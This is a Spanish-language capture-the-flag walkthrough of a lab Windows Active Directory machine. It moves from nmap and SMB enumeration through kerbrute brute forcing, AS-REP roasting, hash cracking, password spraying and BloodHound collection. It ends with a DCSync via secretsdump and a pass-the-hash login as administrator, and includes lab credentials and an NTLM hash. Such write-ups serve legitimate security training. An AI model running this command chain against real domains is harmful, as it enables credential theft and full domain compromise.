# Controler

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.50
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FUcOLFkHGMx1UzP6GVJPl%2Fimage.png?alt=media&#x26;token=619e1a8a-ff6a-4d2d-9809-b48461f048e6" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.50
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8HlpS0d9YccJNVgRkQ5i%2FCaptura%20de%20pantalla%202025-07-21%20162504.png?alt=media&#x26;token=768f277c-fb6a-423b-bffc-30daf1345416" alt=""><figcaption></figcaption></figure>

Durante el escaneo, se identificaron múltiples puertos abiertos relacionados con **servicios típicos de Active Directory en un entorno Windows Server**. A continuación, se detalla cada uno:

| Puerto          | Servicio                 | Descripción                                                                   | Relevancia en Pentesting                                                        |
| --------------- | ------------------------ | ----------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| **53**          | DNS (Simple DNS Plus)    | Servicio de resolución de nombres. Fundamental para la operación del dominio. | Enumeración de zonas, DNS spoofing, análisis de transferencias (`dig axfr`).    |
| **88**          | Kerberos                 | Protocolo de autenticación utilizado por AD.                                  | Objetivo de ataques como Kerberoasting, Pass-the-Ticket, Golden Ticket.         |
| **135**         | MS RPC                   | Microsoft RPC endpoint mapper.                                                | Comunicación entre servicios. Puede facilitar enumeración vía `rpcclient`.      |
| **139**         | NetBIOS-SSN              | Servicio para compartir archivos e impresoras (NetBIOS).                      | Usado con `smbclient`, `enum4linux-ng`, `smbmap`.                               |
| **389**         | LDAP                     | Protocolo para acceder al directorio (modo sin cifrar).                       | Enumeración de usuarios, grupos, SPNs, flags UAC. Clave en enumeración AD.      |
| **445**         | SMB (Microsoft-DS)       | Compartición de archivos en Windows.                                          | Dump de hashes, movimiento lateral (SMBexec, Psexec), enumeración sin creds.    |
| **464**         | kpasswd5                 | Servicio para cambio de contraseñas vía Kerberos.                             | Interesante para ataques como *krbrelayx* o abuso de cuentas.                   |
| **593**         | RPC over HTTP            | Comunicación RPC encapsulada en HTTP.                                         | Utilizado por Exchange, Outlook y otras apps. A veces base de ataques internos. |
| **636**         | LDAPS (tcpwrapped)       | LDAP sobre SSL/TLS.                                                           | Enumeración segura del directorio, aunque a menudo filtrado o cifrado.          |
| **3268**        | Global Catalog (LDAP)    | Puerto usado para consultas a todo el bosque AD.                              | Ideal para enumerar objetos de todo el dominio.                                 |
| **3269**        | GC over SSL (tcpwrapped) | Versión segura del Global Catalog.                                            | Misma funcionalidad que el 3268, pero cifrado.                                  |
| **5985**        | WinRM (HTTP)             | Windows Remote Management.                                                    | Punto de entrada para `evil-winrm`. Fundamental para ejecución remota.          |
| **9389**        | .NET Message Framing     | Servicio para autenticación de AD Web Services (ADWS).                        | Utilizado por PowerShell Remoting, BloodHound, etc.                             |
| **47001**       | HTTPAPI                  | Servicio adicional HTTP, generalmente WinRM.                                  | Usado por PowerShell Remoting.                                                  |
| **49664–49712** | MS RPC dinámicos         | Puertos de comunicación RPC asignados dinámicamente.                          | Relevantes para movimiento lateral, enumeración y abuso de servicios remotos.   |

### 🔎 **EXPLORACIÓN**

Tras el escaneo, hacemos una enumeración **SMB**.

```
nxc smb 192.168.1.50
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZMoKJGwtJf8uZSFvWMfl%2Fimage.png?alt=media&#x26;token=6d95437a-0c03-46c5-a2d2-ef52d2a9bb72" alt=""><figcaption></figcaption></figure>

Tenemos un dominio que añadimos al fichero `/etc/hosts`. Miramos los recursos compartidos.

```
nxc smb 192.168.1.50 --shares -u '' -p ''
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fe2oDEgMMEHOT0K7Ir7mt%2Fimage.png?alt=media&#x26;token=fc12776e-fc0a-40f5-9cd6-30482e8a70fc" alt=""><figcaption></figcaption></figure>

```
smbmap --no-banner -H 192.168.1.50 -u '' -p ''
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKzDhW2V76mGpZFEG2IUB%2Fimage.png?alt=media&#x26;token=f3a48995-c23a-4c30-bd29-26412ec2bda5" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Tras no encontrar nada, intentamos sacar usuarios a través del dominio.

```
./kerbrute userenum -d control.nyx --dc 192.168.1.50 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
```

```
nxc smb 192.168.1.50 -u 'administrator' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
```

Encontramos al usuario Administrator pero los tiros no van por ahí. Entonces pensé que hay diccionarios especiales para enumerar entornos empresariales por lo que tiene sentido realizar fuerza bruta con esos.

{% @github-files/github-code-block url="<https://github.com/attackdebris/kerberos_enum_userlists/>" %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5cPwjCH4I16I001IUx7F%2Fimage.png?alt=media&#x26;token=5332d1f2-91e9-4249-b9ff-46d4ee00e2d7" alt=""><figcaption></figcaption></figure>

Al verificar la cuenta del usuario válido **b.lewis** a nivel de dominio, se confirma que tiene configurado el atributo **UF\_DONT\_REQUIRE\_PREAUTH**. Esto permite obtener con éxito su **Ticket Granting Ticket (TGT)** sin necesidad de preautenticación.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcMKUCMgWUVU6SNZt532Y%2Fimage.png?alt=media&#x26;token=e5c4c288-b074-4c2c-9c56-4b828e9d868c" alt=""><figcaption></figcaption></figure>

Crackeamos el hash resultante.

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvYP3l9EctkAqvcST1B2y%2Fimage.png?alt=media&#x26;token=c04eb448-dee0-4ec8-af11-7472f892a5e1" alt=""><figcaption></figcaption></figure>

Validamos las credenciales.

```
netexec smb 192.168.1.50 -u 'b.lewis' -p '101Music'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnM71mGMjDpwROIKMetkc%2Fimage.png?alt=media&#x26;token=dd94d667-f8f3-4912-888f-4d9fca629fa2" alt=""><figcaption></figcaption></figure>

Miramos si podemos conectarnos.

```
netexec winrm 192.168.1.50 -u 'b.lewis' -p '101Music'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7xgCVmAaeEtoHtGKW8af%2Fimage.png?alt=media&#x26;token=e1a5e161-e50e-461c-b1ac-ff4129e2d810" alt=""><figcaption></figcaption></figure>

No tenemos acceso. Hay que seguir enumerando más usuarios.

```
netexec smb 192.168.1.50 -u 'B.LEWIS' -p '101Music' --users
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FS93nddp5GT0CtlApw94n%2Fimage.png?alt=media&#x26;token=855ff44d-5e12-4a93-aed9-09fd65bc46c4" alt=""><figcaption></figcaption></figure>

Tenemos a mayores un usuario con el acceso habilitado por lo que hacemos fuerza bruta con él.

```
netexec smb 192.168.1.50 -u 'j.levy' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRPMhv07fAMq0nAyKAw41%2Fimage.png?alt=media&#x26;token=df83bd45-425a-4333-85cd-44fb40cb6828" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Validamos las credenciales de este usuario y ya de paso miramos si tenemos acceso.

```
evil-winrm -i 192.168.1.50 -u 'j.levy' -p 'Password1'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FaCO5bqEw4rUAF29FDUO8%2Fimage.png?alt=media&#x26;token=b0a32f80-30d1-442a-896a-053efd716f32" alt=""><figcaption></figcaption></figure>

Vamos a hacer una recolección de los datos.

```
bloodhound-python -ns 192.168.1.50 -dc control.nyx -u 'b.lewis' -p '101Music' -d control.nyx -c all --zip
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fc8cX1cu6UDvSQj1JZzPs%2Fimage.png?alt=media&#x26;token=a09044cb-8650-4a26-9479-9793ebea0853" alt=""><figcaption></figcaption></figure>

El usuario **<j.levy@control.nyx>** posee el privilegio **AllExtendedRights**, que incluye los permisos de replicación DS-Replication-Get-Changes y -Get-Changes-All; eso lo convierte, a efectos prácticos, en un “mini controlador de dominio” capaz de lanzar un **DCSync** con `secretsdump.py` y extraer todos los hashes del directorio—una puerta abierta a comprometer por completo la seguridad del dominio.

```
impacket-secretsdump control.nyx/j.levy:'Password1'@192.168.1.50 -just-dc-user administrator
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1i8g8n9nGlMiDqzGUAr1%2Fimage.png?alt=media&#x26;token=7658380e-4022-4bdc-92fb-1b0336f3960e" alt=""><figcaption></figcaption></figure>

Como obtenemos el hash del usuario administrator ya nos podemos conectar.

```
evil-winrm -i 192.168.1.50 -u 'administrator' -H '48b20d4f3ea31b7234c92b71c90fbff7'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEuT6D7tLNhTQe7VbavrU%2Fimage.png?alt=media&#x26;token=c476561a-aba4-4449-9845-4711cf8921ec" alt=""><figcaption></figcaption></figure>

Ya podemos conseguir las **flags**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FTdZ55BKoMYHA1Fq7kpP1%2Fimage.png?alt=media&#x26;token=7ff4dda6-e7b7-448a-9c68-3a547b3de206" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F94Kcob7F5wqUtsMXOpUh%2Fimage.png?alt=media&#x26;token=54339bbe-18a3-4632-aeac-783d083ff020" alt=""><figcaption></figcaption></figure>
